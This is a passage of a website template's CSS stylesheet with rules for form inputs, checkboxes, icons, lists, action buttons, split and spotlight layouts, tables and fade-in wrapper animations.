100%;\n\t}\n\n\t\tinput[type=\"text\"]:invalid,\n\t\tinput[type=\"password\"]:invalid,\n\t\tinput[type=\"email\"]:invalid,\n\t\tinput[type=\"tel\"]:invalid,\n\t\tselect:invalid,\n\t\ttextarea:invalid {\n\t\t\tbox-shadow: none;\n\t\t}\n\n\t\tinput[type=\"text\"]:focus,\n\t\tinput[type=\"password\"]:focus,\n\t\tinput[type=\"email\"]:focus,\n\t\tinput[type=\"tel\"]:focus,\n\t\tselect:focus,\n\t\ttextarea:focus {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tselect {\n\t\tbackground-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'%3E%3Cpath d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='rgba(255, 255, 255, 0.15)' /%3E%3C/svg%3E\");\n\t\tbackground-size: 1.25rem;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-position: calc(100% - 1rem) center;\n\t\theight: 2.75em;\n\t\tpadding-right: 2.75em;\n\t\ttext-overflow: ellipsis;\n\t}\n\n\t\tselect option {\n\t\t\tcolor: #ffffff;\n\t\t\tbackground: #312450;\n\t\t}\n\n\t\tselect:focus::-ms-value {\n\t\t\tbackground-color: transparent;\n\t\t}\n\n\t\tselect::-ms-expand {\n\t\t\tdisplay: none;\n\t\t}\n\n\tinput[type=\"text\"],\n\tinput[type=\"password\"],\n\tinput[type=\"email\"],\n\tselect {\n\t\theight: 2.75em;\n\t}\n\n\ttextarea {\n\t\tpadding: 0.75em 1em;\n\t}\n\n\t\tbody.is-ie textarea {\n\t\t\tmin-height: 10em;\n\t\t}\n\n\tinput[type=\"checkbox\"],\n\tinput[type=\"radio\"] {\n\t\t-moz-appearance: none;\n\t\t-webkit-appearance: none;\n\t\t-ms-appearance: none;\n\t\tappearance: none;\n\t\tdisplay: block;\n\t\tfloat: left;\n\t\tmargin-right: -2em;\n\t\topacity: 0;\n\t\twidth: 1em;\n\t\tz-index: -1;\n\t}\n\n\t\tinput[type=\"checkbox\"] + label,\n\t\tinput[type=\"radio\"] + label {\n\t\t\ttext-decoration: none;\n\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\tcursor: pointer;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: normal;\n\t\t\tpadding-left: 2.4em;\n\t\t\tpadding-right: 0.75em;\n\t\t\tposition: relative;\n\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfont-style: normal;\n\t\t\t\tfont-variant: normal;\n\t\t\t\ttext-rendering: auto;\n\t\t\t\tline-height: 1;\n\t\t\t\ttext-transform: none !important;\n\t\t\t\tfont-family: 'Font Awesome 5 Free';\n\t\t\t\tfont-weight: 900;\n\t\t\t}\n\n\t\t\tinput[type=\"checkbox\"] + label:before,\n\t\t\tinput[type=\"radio\"] + label:before {\n\t\t\t\tbackground: rgba(255, 255, 255, 0.05);\n\t\t\t\tborder-radius: 0.25em;\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tfont-size: 0.8em;\n\t\t\t\theight: 2.0625em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 2.0625em;\n\t\t\t\tposition: absolute;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 2.0625em;\n\t\t\t}\n\n\t\tinput[type=\"checkbox\"]:checked + label:before,\n\t\tinput[type=\"radio\"]:checked + label:before {\n\t\t\tbackground: #ffffff;\n\t\t\tborder-color: #ffffff;\n\t\t\tcolor: #b74e91;\n\t\t\tcontent: '\\f00c';\n\t\t}\n\n\t\tinput[type=\"checkbox\"]:focus + label:before,\n\t\tinput[type=\"radio\"]:focus + label:before {\n\t\t\tborder-color: #ffffff;\n\t\t\tbox-shadow: 0 0 0 1px #ffffff;\n\t\t}\n\n\tinput[type=\"checkbox\"] + label:before {\n\t\tborder-radius: 0.25em;\n\t}\n\n\tinput[type=\"radio\"] + label:before {\n\t\tborder-radius: 100%;\n\t}\n\n\t::-webkit-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t::-moz-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n\t:-ms-input-placeholder {\n\t\tcolor: rgba(255, 255, 255, 0.35) !important;\n\t\topacity: 1.0;\n\t}\n\n/* Icon */\n\n\t.icon {\n\t\ttext-decoration: none;\n\t\tborder-bottom: none;\n\t\tposition: relative;\n\t}\n\n\t\t.icon:before {\n\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\tdisplay: inline-block;\n\t\t\tfont-style: normal;\n\t\t\tfont-variant: normal;\n\t\t\ttext-rendering: auto;\n\t\t\tline-height: 1;\n\t\t\ttext-transform: none !important;\n\t\t\tfont-family: 'Font Awesome 5 Free';\n\t\t\tfont-weight: 400;\n\t\t}\n\n\t\t.icon > .label {\n\t\t\tdisplay: none;\n\t\t}\n\n\t\t.icon:before {\n\t\t\tline-height: inherit;\n\t\t}\n\n\t\t.icon.solid:before {\n\t\t\tfont-weight: 900;\n\t\t}\n\n\t\t.icon.brands:before {\n\t\t\tfont-family: 'Font Awesome 5 Brands';\n\t\t}\n\n\t\t.icon.major {\n\t\t\twidth: 2.5em;\n\t\t\theight: 2.5em;\n\t\t\tdisplay: block;\n\t\t\tbackground: #7575FF;\n\t\t\tborder-radius: 100%;\n\t\t\tcolor: #111111;\n\t\t\ttext-align: center;\n\t\t\tline-height: 2.5em;\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t}\n\n\t\t\t.icon.major:before {\n\t\t\t\tfont-size: 1.25em;\n\t\t\t}\n\n\t\t\t\t.wrapper.style1 .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style1-alt .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2 .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2-alt .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3 .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3-alt .icon.major:before {\n\t\t\t\t\tcolor: #111111;\n\t\t\t\t}\n\n/* Image */\n\n\t.image {\n\t\tborder-radius: 0.25em;\n\t\tborder: 0;\n\t\tdisplay: inline-block;\n\t\tposition: relative;\n\t}\n\n\t\t.image img {\n\t\t\tborder-radius: 0.25em;\n\t\t\tdisplay: block;\n\t\t}\n\n\t\t.image.left, .image.right {\n\t\t\tmax-width: 40%;\n\t\t}\n\n\t\t\t.image.left img, .image.right img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.left {\n\t\t\tfloat: left;\n\t\t\tmargin: 0 1.5em 1em 0;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.right {\n\t\t\tfloat: right;\n\t\t\tmargin: 0 0 1em 1.5em;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.fit {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 2em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.fit img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.main {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 3em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.main img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n/* List */\n\n\tol {\n\t\tlist-style: decimal;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1.25em;\n\t}\n\n\t\tol li {\n\t\t\tpadding-left: 0.25em;\n\t\t}\n\n\tul {\n\t\tlist-style: disc;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1em;\n\t}\n\n\t\tul li {\n\t\t\tpadding-left: 0.5em;\n\t\t}\n\n\t\tul.alt {\n\t\t\tlist-style: none;\n\t\t\tpadding-left: 0;\n\t\t}\n\n\t\t\tul.alt li {\n\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tpadding: 0.5em 0;\n\t\t\t}\n\n\t\t\t\tul.alt li:first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\tdl {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tdl dt {\n\t\t\tdisplay: block;\n\t\t\tfont-weight: bold;\n\t\t\tmargin: 0 0 1em 0;\n\t\t}\n\n\t\tdl dd {\n\t\t\tmargin-left: 2em;\n\t\t}\n\n/* Actions */\n\n\tul.actions {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tmargin-left: -1em;\n\t\tpadding-left: 0;\n\t}\n\n\t\tul.actions li {\n\t\t\tpadding: 0 0 0 1em;\n\t\t\tvertical-align: middle;\n\t\t}\n\n\t\tul.actions.special {\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 100%;\n\t\t\tmargin-left: 0;\n\t\t}\n\n\t\t\tul.actions.special li:first-child {\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\tul.actions.stacked {\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\tmargin-left: 0;\n\t\t}\n\n\t\t\tul.actions.stacked li {\n\t\t\t\tpadding: 1.3em 0 0 0;\n\t\t\t}\n\n\t\t\t\tul.actions.stacked li:first-child {\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\tul.actions.fit {\n\t\t\twidth: calc(100% + 1em);\n\t\t}\n\n\t\t\tul.actions.fit li {\n\t\t\t\t-moz-flex-grow: 1;\n\t\t\t\t-webkit-flex-grow: 1;\n\t\t\t\t-ms-flex-grow: 1;\n\t\t\t\tflex-grow: 1;\n\t\t\t\t-moz-flex-shrink: 1;\n\t\t\t\t-webkit-flex-shrink: 1;\n\t\t\t\t-ms-flex-shrink: 1;\n\t\t\t\tflex-shrink: 1;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\tul.actions.fit li > * {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\tul.actions.fit.stacked {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tul.actions:not(.fixed) {\n\t\t\t\t-moz-flex-direction: column;\n\t\t\t\t-webkit-flex-direction: column;\n\t\t\t\t-ms-flex-direction: column;\n\t\t\t\tflex-direction: column;\n\t\t\t\tmargin-left: 0;\n\t\t\t\twidth: 100% !important;\n\t\t\t}\n\n\t\t\t\tul.actions:not(.fixed) li {\n\t\t\t\t\t-moz-flex-grow: 1;\n\t\t\t\t\t-webkit-flex-grow: 1;\n\t\t\t\t\t-ms-flex-grow: 1;\n\t\t\t\t\tflex-grow: 1;\n\t\t\t\t\t-moz-flex-shrink: 1;\n\t\t\t\t\t-webkit-flex-shrink: 1;\n\t\t\t\t\t-ms-flex-shrink: 1;\n\t\t\t\t\tflex-shrink: 1;\n\t\t\t\t\tpadding: 1em 0 0 0;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li > * {\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li:first-child {\n\t\t\t\t\t\tpadding-top: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"submit\"],\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"reset\"],\n\t\t\t\t\tul.actions:not(.fixed) li input[type=\"button\"],\n\t\t\t\t\tul.actions:not(.fixed) li button,\n\t\t\t\t\tul.actions:not(.fixed) li .button {\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"submit\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"reset\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li input[type=\"button\"].icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li button.icon:before,\n\t\t\t\t\t\tul.actions:not(.fixed) li .button.icon:before {\n\t\t\t\t\t\t\tmargin-left: -0.5rem;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Contact */\n\n\tul.contact {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\t}\n\n\t\tul.contact > li {\n\t\t\tpadding: 0;\n\t\t\tmargin: 1.5em 0 0 0;\n\t\t}\n\n\t\t\tul.contact > li:first-child {\n\t\t\t\tmargin-top: 0;\n\t\t\t}\n\n/* Icons */\n\n\tul.icons {\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tpadding-left: 0;\n\t}\n\n\t\tul.icons li {\n\t\t\tdisplay: inline-block;\n\t\t\tpadding: 0 0.75em 0 0;\n\t\t}\n\n\t\t\tul.icons li:last-child {\n\t\t\t\tpadding-right: 0;\n\t\t\t}\n\n\t\t\tul.icons li > a, ul.icons li > span {\n\t\t\t\tborder: 0;\n\t\t\t}\n\n\t\t\t\tul.icons li > a .label, ul.icons li > span .label {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n/* Menu */\n\n\tul.menu {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\t}\n\n\t\tul.menu > li {\n\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tdisplay: inline-block;\n\t\t\tline-height: 1;\n\t\t\tmargin-left: 1.5em;\n\t\t\tpadding: 0 0 0 1.5em;\n\t\t}\n\n\t\t\tul.menu > li:first-child {\n\t\t\t\tborder-left: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\tul.menu > li {\n\t\t\t\tborder-left: 0;\n\t\t\t\tdisplay: block;\n\t\t\t\tline-height: inherit;\n\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\n\t\t}\n\n/* Section/Article */\n\n\tsection.special, article.special {\n\t\ttext-align: center;\n\t}\n\n\theader p {\n\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\tposition: relative;\n\t\tmargin: 0 0 1.5em 0;\n\t}\n\n\theader h2 + p {\n\t\tfont-size: 1.25em;\n\t\tmargin-top: -1em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h3 + p {\n\t\tfont-size: 1.1em;\n\t\tmargin-top: -0.8em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h4 + p,\n\theader h5 + p,\n\theader h6 + p {\n\t\tfont-size: 0.9em;\n\t\tmargin-top: -0.6em;\n\t\tline-height: 1.5em;\n\t}\n\n/* Split */\n\n\t.split {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t}\n\n\t\t.split > * {\n\t\t\twidth: calc(50% - 2.5em);\n\t\t}\n\n\t\t.split > :nth-child(2n - 1) {\n\t\t\tpadding-right: 2.5em;\n\t\t\tborder-right: solid 1px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\t.split > :nth-child(2n) {\n\t\t\tpadding-left: 2.5em;\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\twidth: calc(66.66666% - 2.5em);\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n) {\n\t\t\twidth: calc(33.33333% - 2.5em);\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.split > * {\n\t\t\t\twidth: calc(50% - 2em);\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\tpadding-right: 2em;\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n) {\n\t\t\t\tpadding-left: 2em;\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\t\twidth: calc(66.66666% - 2em);\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n) {\n\t\t\t\twidth: calc(33.33333% - 2em);\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.split {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.split > * {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\tmargin: 4em 0 0 0;\n\t\t\t\t\tpadding: 4em 0 0 0;\n\t\t\t\t\twidth: 100% !important;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\t\tborder-right: 0;\n\t\t\t\t\tpadding-right: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n) {\n\t\t\t\t\tpadding-left: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.split > * {\n\t\t\t\tmargin: 3em 0 0 0;\n\t\t\t\tpadding: 3em 0 0 0;\n\t\t\t}\n\n\t\t}\n\n/* Spotlights */\n\n\t.spotlights > section {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-direction: row;\n\t\t-webkit-flex-direction: row;\n\t\t-ms-flex-direction: row;\n\t\tflex-direction: row;\n\t\tmin-height: 22.5em;\n\t}\n\n\t\tbody.is-ie .spotlights > section {\n\t\t\tmin-height: 0;\n\t\t}\n\n\t\t.spotlights > section > .image {\n\t\t\tbackground-position: center center;\n\t\t\tbackground-size: cover;\n\t\t\tborder-radius: 0;\n\t\t\tdisplay: block;\n\t\t\tposition: relative;\n\t\t\twidth: 25em;\n\t\t}\n\n\t\t\t.spotlights > section > .image img {\n\t\t\t\tborder-radius: 0;\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t.spotlights > section > .image:before {\n\t\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease;\n\t\t\t\ttransition: opacity 1s ease;\n\t\t\t\tbackground: #7575FF;\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: block;\n\t\t\t\theight: 100%;\n\t\t\t\tleft: 0;\n\t\t\t\topacity: 0;\n\t\t\t\tposition: absolute;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.spotlights > section > .content {\n\t\t\tpadding: 4em 5em 2em 5em ;\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 50em;\n\t\t\t-ms-flex: 1;\n\t\t}\n\n\t\t\t.spotlights > section > .content > .inner {\n\t\t\t\t-moz-transform: translateX(0) translateY(0);\n\t\t\t\t-webkit-transform: translateX(0) translateY(0);\n\t\t\t\t-ms-transform: translateX(0) translateY(0);\n\t\t\t\ttransform: translateX(0) translateY(0);\n\t\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t.spotlights > section:nth-child(2) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.05);\n\t\t}\n\n\t\t.spotlights > section:nth-child(3) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.1);\n\t\t}\n\n\t\t.spotlights > section.inactive > .image:before,\n\t\tbody.is-preload .spotlights > section > .image:before {\n\t\t\topacity: 1;\n\t\t}\n\n\t\t.spotlights > section.inactive > .content > .inner,\n\t\tbody.is-preload .spotlights > section > .content > .inner {\n\t\t\t-moz-transform: translateX(-1em);\n\t\t\t-webkit-transform: translateX(-1em);\n\t\t\t-ms-transform: translateX(-1em);\n\t\t\ttransform: translateX(-1em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.spotlights > section {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.spotlights > section > .image {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t\theight: 50vh;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section > .content {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section.inactive > .content > .inner,\n\t\t\t\tbody.is-preload .spotlights > section > .content > .inner {\n\t\t\t\t\t-moz-transform: translateY(1em);\n\t\t\t\t\t-webkit-transform: translateY(1em);\n\t\t\t\t\t-ms-transform: translateY(1em);\n\t\t\t\t\ttransform: translateY(1em);\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.spotlights > section > .image {\n\t\t\t\theight: 50vh;\n\t\t\t\tmin-height: 15em;\n\t\t\t}\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t}\n\n\t\t}\n\n/* Table */\n\n\t.table-wrapper {\n\t\t-webkit-overflow-scrolling: touch;\n\t\toverflow-x: auto;\n\t}\n\n\ttable {\n\t\tmargin: 0 0 2em 0;\n\t\twidth: 100%;\n\t}\n\n\t\ttable tbody tr {\n\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tborder-left: 0;\n\t\t\tborder-right: 0;\n\t\t}\n\n\t\t\ttable tbody tr:nth-child(2n + 1) {\n\t\t\t\tbackground-color: rgba(255, 255, 255, 0.05);\n\t\t\t}\n\n\t\ttable td {\n\t\t\tpadding: 0.75em 0.75em;\n\t\t}\n\n\t\ttable th {\n\t\t\tcolor: #ffffff;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: bold;\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\n\t\t\ttext-align: left;\n\t\t}\n\n\t\ttable thead {\n\t\t\tborder-bottom: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable tfoot {\n\t\t\tborder-top: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable.alt {\n\t\t\tborder-collapse: separate;\n\t\t}\n\n\t\t\ttable.alt tbody tr td {\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tborder-left-width: 0;\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t\ttable.alt tbody tr td:first-child {\n\t\t\t\t\tborder-left-width: 1px;\n\t\t\t\t}\n\n\t\t\ttable.alt tbody tr:first-child td {\n\t\t\t\tborder-top-width: 1px;\n\t\t\t}\n\n\t\t\ttable.alt thead {\n\t\t\t\tborder-bottom: 0;\n\t\t\t}\n\n\t\t\ttable.alt tfoot {\n\t\t\t\tborder-top: 0;\n\t\t\t}\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\t}\n\n\t\t.wrapper > .inner {\n\t\t\tpadding: 5em 5em 3em 5em ;\n\t\t\tmax-width: 100%;\n\t\t\twidth: 75em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.alt {\n\t\t\tbackground-color: #261c3e;\n\t\t}\n\n\t\t.wrapper.style1 {\n\t\t\tbackground-color: #111111;\n\t\t}\n\n\t\t.wrapper.style1-alt {\n\t\t\tbackground-color: #111111;\n\t\t}\n\n\t\t.wrapper.style2 {\n\t\t\tbackground-color: #E5E5E5;\n\t\t}\n\n\t\t.wrapper.style2-alt {\n\t\t\tbackground-color: #7575FF;\n\t\t}\n\n\t\t.wrapper.style3 {\n\t\t\tbackground-color: #9d9d9d;\n\t\t}\n\n\t\t.wrapper.style3-alt {\n\t\t\tbackground-color: #9d9d9d;\n\t\t}\n\n\t\t.wrapper.fullscreen {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\tmin-height: 100vh;\n\t\t}\n\n\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tmin-height: calc(100vh - 2.5em);\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tpadding: 2em 0;\n\t\t\t\t\tmin-height: 0;\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: auto;\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.fade-up > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-up.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade-up > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(1em);\n\t\t\t-webkit-transform: translateY(1em);\n\t\t\t-ms-transform: translateY(1em);\n\t\t\ttransform: translateY(1em);\n\t\t}\n\n\t\t.wrapper.fade-down > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-down.inactive > .inner,\n\t\tbody.is-preload .wrapper.fade-down > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(-1em);\n\t\t\t-webkit-transform: translateY(-1em);\n\t\t\t-ms-transform: 